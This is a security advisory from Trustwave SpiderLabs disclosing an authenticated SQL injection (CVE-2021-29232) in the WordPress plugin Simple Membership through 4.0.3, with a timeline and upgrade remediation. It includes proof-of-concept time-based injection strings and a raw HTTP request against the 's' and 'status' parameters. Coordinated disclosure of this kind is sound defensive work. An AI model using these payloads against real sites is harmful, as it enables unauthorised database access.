Trustwave SpiderLabs Security Advisory TWSL2021-006:
SQLi in WordPress Plugin Simple Membership

Published: 04/05/2021 
Version: 1.0

Vendor: https://profiles.wordpress.org/smp7/
        https://profiles.wordpress.org/wpinsider-1/
Product: WordPress Plugin Simple Membership
Version affected:  <= 4.0.3

Product description:
The plugin provides functionality for managing users, including with features
like membership levels.

Finding 1: WordPress Plugin Simple Membership <= 4.0.3 Authenticated SQL Injection
*****Credit: Martin Vierula of Trustwave
CVE: CVE-2021-29232
CWE: CWE-89

Multiple parameters are vulnerable to authenticated (admin+) SQL injection.

The following PoC outlines a time-based version of exploiting the vulnerability
in the 's' parameter.

Create at least one real member.  In the 'Members' page, paste the following
into the search text field and then click the 'Search' button:

hhhh' OR SLEEP(1) OR first_name LIKE '%i

One can see the different delays by changing the above to be 2 seconds instead:

hhhh' OR SLEEP(2) OR first_name LIKE '%i

Note that, if doing more than one trial through the browser, the entered text
will have been altered to escape some characters.  To do another trial of the
PoC, make sure you either amend the input or just paste the entire desired
content from scratch.

The PoC can also be done with a tool like Burp Suite with a request like:

GET /wp/wp-admin/admin.php?status=&membership_level=&s=hhhh%27%20OR%20SLEEP%281%29%20OR%20first_name%20LIKE%20%27%25i%0A&page=simple_wp_membership HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp/wp-admin/admin.php?page=simple_wp_membership
Connection: keep-alive
Cookie: <admin cookies>
Upgrade-Insecure-Requests: 1

In addition to the 's' parameter, the 'status' parameter is similarly vulnerable:
GET /wp/wp-admin/admin.php?status=active%27%20AND%20SLEEP%288%29%20AND%20%27a%27%3D%27a&membership_level=&s=&page=simple_wp_membership

Remediation Steps:
Upgrade to WordPress Plugin Simple Membership 4.0.4 or the latest stable version.

Revision History:
03/09/2021 - Vulnerability disclosed to vendor
03/12/2021 - Patch released by vendor
04/05/2021 - Advisory published

References
1. https://wordpress.org/plugins/simple-membership/#developers

About Trustwave:
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countries. For more information about Trustwave, visit 
https://www.trustwave.com.

About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

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